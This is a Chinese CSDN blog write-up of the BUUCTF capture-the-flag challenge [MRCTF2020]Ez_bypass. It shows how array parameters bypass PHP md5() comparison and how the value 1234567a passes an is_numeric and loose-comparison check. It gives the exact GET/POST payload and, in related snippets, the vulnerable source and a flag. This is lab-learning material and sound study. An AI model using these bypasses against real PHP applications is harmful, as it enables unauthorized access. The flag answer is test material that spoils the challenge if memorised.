[MRCTF2020]Ez_bypass

最新推荐文章于 2022-03-20 09:37:33 发布
最新推荐文章于 2022-03-20 09:37:33 发布
阅读量183 收藏
点赞数
分类专栏： BUUCTF 文章标签： php
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/lastwinn/article/details/119255471
版权
本文探讨了在MRCTF2020中遇到的Ez_bypas挑战，重点在于如何利用数组参数和MD5的弱点进行绕过。通过分析payload：http://c8615cab-1f3e-47a6-84d8-023cc56ceb31.node4.buuoj.cn/?id[]=1&gg[]=2，可以观察到POST请求中使用了弱类型的MD5校验。作者深入研究了如何构造有效载荷来成功绕过这一安全措施。
摘要由CSDN通过智能技术生成

[MRCTF2020]Ez_bypas 

![在这里插入图片描述](https://img-blog.csdnimg.cn/8eea7a9b6e7a494bb3c5810b709daf75.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xhc3R3aW5u,size_16,color_FFFFFF,t_70)F12 查看格式化的源码

在这里插入图片描述数组绕过md5 弱类型绕过数字

payload:http://c8615cab-1f3e-47a6-84d8-023cc56ceb31.node4.buuoj.cn/?id[]=1&gg[]=2
post: passwd=1234567a

在这里插入图片描述在这里插入图片描述

BUUCTF [MRCTF2020]Ez_bypass
Chu_Jian_Xiong的博客
09-28 812
BUUCTF [MRCTF2020]Ez_bypass记录一次BUUCTF做题过程分析实操 记录一次BUUCTF做题过程 首先打开题目 将其还原，大概是这样 I put something in F12 for you <?php include 'flag.php'; $flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}'; if(isset($_GET['gg'])&&isset($_GET['id'])) { // 传入两个GET,gg和id
[MRCTF2020]Ez_bypass详解
qq_52364123的博客
04-10 648
buuctf-[MRCTF2020]Ez_bypass-代码审计
【学习笔记 44】 buu [MRCTF2020]Ez_bypass
weixin_43553654的博客
08-03 345
0x00 知识点 绕过md5()函数 绕过is_numeric()函数 代码审计 0x01 知识点详解 md5()函数怎么绕过？ 答：本题是将两参数传成数组，由于md5()函数无法操作数组，也就判断都为null，像个参数的md5值也就相同了。 is_numeric()函数怎么绕过？ 答：is_numeric() 函数用于检测变量是否为数字或数字字符串。本题由于在这个函数之后还有一个弱类型比较，所以要用1234567a绕。1234567a是字符串，但是弱类型比较的时候，1在前，php会将其整体转成数字，
buu做题笔记——[BJDCTF2020]Mark loves cat&[MRCTF2020]Ez_bypass&[GKCTF2020]CheckIN
weixin_46330722的博客
11-05 671
BUU[BJDCTF2020]Mark loves cat[MRCTF2020]Ez_bypass [BJDCTF2020]Mark loves cat 进入题目是一个博客首页 点了半天没找到可以利用的点，用dirsearch扫一下 扫到.git目录，用Githack把源码down下来 看一下关键代码 //flag.php <?php $flag = file_get_contents('/flag'); //index.php <?php include 'flag.php';
[MRCTF2020] web题-Ez_bypass
BROTHERYY的博客
08-18 408
复现环境:buuoj.cn 开题源码一份 //I put something in F12 for you include 'flag.php'; $flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}'; if(isset($_GET['gg'])&&isset($_GET['id'])) { $id=$_GET['id']; $gg=$_GET['gg']; if (md5($id) === md5($gg) && $id
buuctf [MRCTF2020]Ez_bypass
stantic的博客
03-20 451
id和gg的md5强比较相等，id和gg的值弱比较不相等，password不是数字并且与1234567弱比较相等，由此构建id[]=1&gg[]=2 passwd=1234567q flag{7038d50b-bff2-432d-85bc-eefe852120cc}
use_hse_bypass
最新发布
01-14
### 配置或使用 `use_hse_bypass` 选项 对于特定软件设置中的 `use_hse_bypass` 选项，具体配置方式取决于该软件的文档和支持材料。然而，在一般情况下，此类配置项通常位于配置文件内或是可以通过环境变量来设定。...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值